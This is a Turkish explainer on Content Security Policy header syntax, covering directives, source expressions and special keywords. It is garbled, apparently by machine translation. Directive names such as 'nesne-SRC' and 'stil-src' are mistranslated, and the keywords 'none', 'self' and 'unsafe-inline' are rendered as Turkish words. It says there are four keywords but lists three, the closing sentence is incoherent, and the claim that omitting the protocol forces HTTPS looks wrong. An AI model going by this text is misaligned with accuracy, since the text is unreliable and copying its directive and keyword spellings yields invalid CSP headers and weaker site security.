Başlıkların örnekleri Bu bölüm, algı basitliği için satırların ve girintilerin transferini kullanır; Mevcut başlıkta bulunmamalıdırlar.

Csp sözdizimi

CSP başlık sözdizimi şöyle görünüyor:

İçerik-güvenlik politikası:
direktif kaynak-ifade, kaynak-ifade, ...;
direktif ...;
...

Bu sözdizimi iki elementten oluşur:

  • Direktifler (Direktifler) Belirtilen listeden alınan kaynak türünü belirten satırları sunma.
  • Kaynak ifadeleri Kaynakların indirilebileceği bir veya daha fazla sunucuyu tanımlayan bir modeldir.

Her yönerge için, kaynak ifadesindeki veriler, uygun türün kaynaklarını yüklemek için hangi kaynakların kullanılabileceğini belirler.

Direktif

CSP başlığında aşağıdaki direktifler kullanılabilir:

  • connect-SRC.
  • font-SRC.
  • Çerçeve-SRC.
  • iMG-SRC.
  • media-SRC.
  • nesne-SRC.
  • script-SRC.
  • stil-src.

Buna ek olarak, özel direktif varsayılan SRC, başlığa dahil olmayan tüm direktiflerin varsayılan değerini sağlamak için kullanılabilir.

Kaynağın ifadesi

Kaynağın bir ifadesini oluşturmak için sözdizimi aşağıdaki gibidir:

protokolü: // Ana Bilgisayar Adı: Port Numarası

Ana bilgisayar adı * ile başlayabilir, bu, sağlanan ana bilgisayar adının herhangi bir alt alanının çözüleceği anlamına gelir. Benzer şekilde, port numarası * olarak gösterilebilir, bu, tüm bağlantı noktalarının çözüleceği anlamına gelir. Ek olarak, protokol ve port numarası kaçırılabilir. Protokol belirtilmezse, politika HTTPS kullanarak yüklenecek tüm kaynakların yüklenmesini gerektirir.

Yukarıdaki sözdizimine ek olarak, kaynak ifade, bir alternatif olarak özel bir değer (tırnak dahil) olan dört anahtar kelimeden biri olabilir:

"Yok" kaynakları yasaklar. "Öz", web sayfasının bulunduğu ana bilgisayardan kaynaklara izin verir. "Güvensiz satır içi", sayfada yerleşik kaynaklara yerleşik olan kaynaklara izin verir.